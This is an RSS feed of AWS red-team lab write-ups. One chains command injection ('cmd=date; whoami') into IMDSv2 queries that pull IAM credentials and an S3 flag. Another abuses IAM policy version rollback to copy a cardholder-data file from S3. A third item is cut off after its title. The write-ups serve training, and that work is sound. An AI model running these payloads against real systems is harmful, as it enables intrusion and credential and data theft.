<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: David Disu</title>
    <description>The latest articles on DEV Community by David Disu (@davidonlinearchive).</description>
    <link>https://dev.to/davidonlinearchive</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3480221%2F9aad85fb-85b6-4381-b09d-dbd2b071059a.png</url>
      <title>DEV Community: David Disu</title>
      <link>https://dev.to/davidonlinearchive</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/davidonlinearchive"/>
    <language>en</language>
    <item>
      <title>Cybr Academy - [LAB] Compromise EC2 IMDSv2 with RCE (AWS Red Teaming)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Tue, 21 Jul 2026 02:13:41 +0000</pubDate>
      <link>https://dev.to/davidonlinearchive/cybr-academy-lab-compromise-ec2-imdsv2-with-rce-aws-red-teaming-kcp</link>
      <guid>https://dev.to/davidonlinearchive/cybr-academy-lab-compromise-ec2-imdsv2-with-rce-aws-red-teaming-kcp</guid>
      <description>&lt;h1&gt;
  
  
  Compromising EC2 IMDSv2 via Remote Code Execution
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;This lab walks through exploiting a command injection vulnerability in a web application to achieve Remote Code Execution (RCE) on an EC2 instance, then leveraging the Instance Metadata Service v2 (IMDSv2) to steal IAM credentials and access sensitive data in S3.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1 — Finding the Command Injection
&lt;/h2&gt;

&lt;p&gt;The web app exposes a &lt;code&gt;/fetch-time&lt;/code&gt; endpoint that accepts a &lt;code&gt;cmd&lt;/code&gt; parameter via POST request. The intended use is something like &lt;code&gt;cmd=date&lt;/code&gt; to return the current server time. No input sanitization? That's our way in.&lt;/p&gt;

&lt;p&gt;We test with a classic command chaining trick:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"cmd=date; whoami"&lt;/span&gt; http://34.229.207.76/fetch-time
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Fri Jul 17 21:35:31 UTC 2026
root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're running as &lt;strong&gt;root&lt;/strong&gt;. The vulnerability is confirmed — whatever we pass in &lt;code&gt;cmd&lt;/code&gt; gets executed directly on the server.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 — Querying the Instance Metadata Service
&lt;/h2&gt;

&lt;p&gt;With RCE in hand, the next move is to check if this EC2 instance has an IAM role attached. IAM roles on EC2 instances expose temporary credentials through the Instance Metadata Service (IMDS) at the link-local address &lt;code&gt;169.254.169.254&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;A quick probe shows the instance is running &lt;strong&gt;IMDSv2&lt;/strong&gt; — the newer, token-based version of IMDS that requires a session token before returning any metadata. IMDSv1 would have let us query it directly, but IMDSv2 adds a layer of protection. Not an insurmountable one though.&lt;/p&gt;

&lt;p&gt;We first request a token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"cmd=curl -X PUT 'http://169.254.169.254/latest/api/token' &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
http://34.229.207.76/fetch-time
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns a short-lived session token valid for 6 hours. With the token in hand, we can now freely query the metadata service through our RCE.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 — Finding the IAM Role
&lt;/h2&gt;

&lt;p&gt;We use the token to discover what IAM role is attached to the instance:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"cmd=curl -H 'X-aws-ec2-metadata-token: AQAEAEnNUbNaB0I189kN...' &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
http://34.229.207.76/fetch-time
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response: &lt;code&gt;rce-lab-role&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4 — Stealing the Credentials
&lt;/h2&gt;

&lt;p&gt;Now we query that specific role to extract its temporary AWS credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"cmd=curl -H 'X-aws-ec2-metadata-token: AQAEAEnNUbNaB0I189kN...' &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/rce-lab-role"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
http://34.229.207.76/fetch-time
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We get back a full set of temporary credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"AccessKeyId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ASIAQGYBPW5TU2CCIQMW"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"SecretAccessKey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"iMaC8nPwTubKZnkMccJTHanYT0DuMRWswB0huIkb"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"IQoJb3JpZ2luX2VjEOb//..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Expiration"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-07-21T03:55:03Z"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We load these into a local AWS CLI profile called &lt;code&gt;rce-lab&lt;/code&gt; and confirm our identity:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws sts get-caller-identity &lt;span class="nt"&gt;--profile&lt;/span&gt; rce-lab
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"UserId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AROAQGYBPW5TZJ3EEZLSB:i-0075a04de7e6bb809"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Account"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"014498641767"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Arn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:sts::014498641767:assumed-role/rce-lab-role/i-0075a04de7e6bb809"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're in.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 5 — Enumerating Permissions
&lt;/h2&gt;

&lt;p&gt;Attempting to list the role's own policies hits a wall:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam list-role-policies &lt;span class="nt"&gt;--role-name&lt;/span&gt; rce-lab-role &lt;span class="nt"&gt;--profile&lt;/span&gt; rce-lab
&lt;span class="c"&gt;# AccessDenied&lt;/span&gt;

aws iam list-attached-role-policies &lt;span class="nt"&gt;--role-name&lt;/span&gt; rce-lab-role &lt;span class="nt"&gt;--profile&lt;/span&gt; rce-lab
&lt;span class="c"&gt;# AccessDenied&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The role can't describe itself — a common restriction in hardened environments. Rather than spinning our wheels on IAM, we pivot to checking common services directly. If the role has S3 access, we'll find out fast:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3 &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;--profile&lt;/span&gt; rce-lab
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="mi"&gt;2026-07-20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;cybr-imdsv&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;-rce&lt;/span&gt;&lt;span class="mi"&gt;-014498641767&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A bucket. Let's look inside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://cybr-imdsv2-rce-014498641767 &lt;span class="nt"&gt;--profile&lt;/span&gt; rce-lab
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="mi"&gt;2026-07-20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;flag.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 6 — Capturing the Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3 &lt;span class="nb"&gt;cp &lt;/span&gt;s3://cybr-imdsv2-rce-014498641767/flag.txt &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;--profile&lt;/span&gt; rce-lab
&lt;span class="nb"&gt;cat &lt;/span&gt;flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;FLAG{CYBR_S3_ACC3SS_V!A_RC3}&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;Command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Injection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/fetch-time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;endpoint&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;↓&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Remote&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Execution&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;root&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;↓&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;IMDSv&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;obtained&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;via&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;RCE&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;↓&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;IAM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;role&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;discovered&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;metadata&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;↓&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Temporary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;AWS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;credentials&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;stolen&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;↓&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;S&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;bucket&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;enumerated&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;↓&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  PWNSOME REFERENCES
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html" rel="noopener noreferrer"&gt;AWS IMDSv2 Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories" rel="noopener noreferrer"&gt;EC2 Instance Metadata Categories&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>redteam</category>
      <category>cybersecurity</category>
      <category>aws</category>
    </item>
    <item>
      <title>Cybr Academy [lab][CTF] PrivEsc IAM Version Rollback — Exploiting Version Management to Access S3 Data (AWS Red Teaming)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Wed, 15 Jul 2026 20:24:53 +0000</pubDate>
      <link>https://dev.to/davidonlinearchive/iam-policy-rollback-exploiting-version-management-to-access-s3-data-aws-red-teaming-5849</link>
      <guid>https://dev.to/davidonlinearchive/iam-policy-rollback-exploiting-version-management-to-access-s3-data-aws-red-teaming-5849</guid>
      <description>&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgxhssw7abqvv89uogqpi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgxhssw7abqvv89uogqpi.png" alt="lab description" width="799" height="344"&gt;&lt;/a&gt;&lt;br&gt;
This lab demonstrates a real-world AWS misconfiguration where an attacker can abuse IAM policy version management to escalate privileges and exfiltrate sensitive data from S3. The attack chain: enumerate IAM policy versions → identify an overly permissive version → set it as default → access S3 → exfiltrate cardholder data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Services abused:&lt;/strong&gt; IAM, S3&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Key permissions exploited:&lt;/strong&gt; &lt;code&gt;iam:GetPolicyVersion&lt;/code&gt;, &lt;code&gt;iam:SetDefaultPolicyVersion&lt;/code&gt;  &lt;/p&gt;


&lt;h2&gt;
  
  
  How AWS IAM Policy Versioning Works
&lt;/h2&gt;

&lt;p&gt;AWS IAM managed policies support up to five versions. When a policy is updated, the old version is retained rather than deleted. Only one version is active at a time — this is the &lt;em&gt;default version&lt;/em&gt;. The key insight for attackers: if a principal has &lt;code&gt;iam:SetDefaultPolicyVersion&lt;/code&gt;, they can roll back to any previous version, including ones with broader permissions than the current default.&lt;/p&gt;

&lt;p&gt;This is exactly the misconfiguration we will exploit.&lt;/p&gt;


&lt;h2&gt;
  
  
  Reconnaissance
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Step 1 — Confirm identity and current permissions
&lt;/h3&gt;

&lt;p&gt;Always start by confirming what credential you are operating with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws sts get-caller-identity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 2 — Enumerate policy versions
&lt;/h3&gt;

&lt;p&gt;The current default policy (v1) grants &lt;code&gt;List*&lt;/code&gt; and &lt;code&gt;Get*&lt;/code&gt; on all IAM actions, plus crucially &lt;code&gt;iam:SetDefaultPolicyVersion&lt;/code&gt;. This is enough to enumerate and roll back to any prior version.&lt;/p&gt;

&lt;p&gt;List all available versions of the target policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam list-policy-versions &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; arn:aws:iam::014498641618:policy/policyforexploitableuser
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 3 — Inspect each version
&lt;/h3&gt;

&lt;p&gt;Inspect each version to identify which one grants the most useful permissions. Version 4 stands out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam get-policy-version &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; arn:aws:iam::014498641618:policy/policyforexploitableuser &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--version-id&lt;/span&gt; v4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"PolicyVersion"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"Document"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"Version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2012-10-17"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nl"&gt;"Statement"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
                    &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                    &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="s2"&gt;"s3:List*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="s2"&gt;"s3:Get*"&lt;/span&gt;&lt;span class="w"&gt;
                    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
                    &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"VersionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"v4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"IsDefaultVersion"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"CreateDate"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-07-15T18:13:34+00:00"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Version 4 grants &lt;code&gt;s3:List*&lt;/code&gt; and &lt;code&gt;s3:Get*&lt;/code&gt; across all resources — full read access to every S3 bucket in the account. This is our target.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 4 — Set v4 as the default policy version
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam set-default-policy-version &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; arn:aws:iam::014498641618:policy/policyforexploitableuser &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--version-id&lt;/span&gt; v4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No output means it succeeded. Our credential now has full S3 read access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 — Enumerate S3 buckets
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3 &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 6 — List bucket contents
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://iamrollback-cardholder-data-bucket-014498641618
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A file named &lt;code&gt;cardholder_data_primary.csv&lt;/code&gt; is present — this is the target.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 7 — Exfiltrate the data
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3 &lt;span class="nb"&gt;cp &lt;/span&gt;s3://iamrollback-cardholder-data-bucket-014498641618/cardholder_data_primary.csv &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open the file to retrieve the flag.&lt;/p&gt;

&lt;h3&gt;
  
  
  PWNSOME REFERENCES
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/cli/latest/reference/s3/" rel="noopener noreferrer"&gt;AWS s3 CLI Docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>aws</category>
      <category>cybersecurity</category>
      <category>redteam</category>
      <category>ctf</category>
    </item>
    <item>
      <title>[LAB] Lambda SQLi PrivEsc to Access Secret (AWS Red Teaming)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Thu, 09 Jul 2026 13:52:22 +0000</pubDate>
      <link>https://dev.to/davidonlinearchive/lab-lambda-sqli-privesc-to-access-secret-2o03</link>
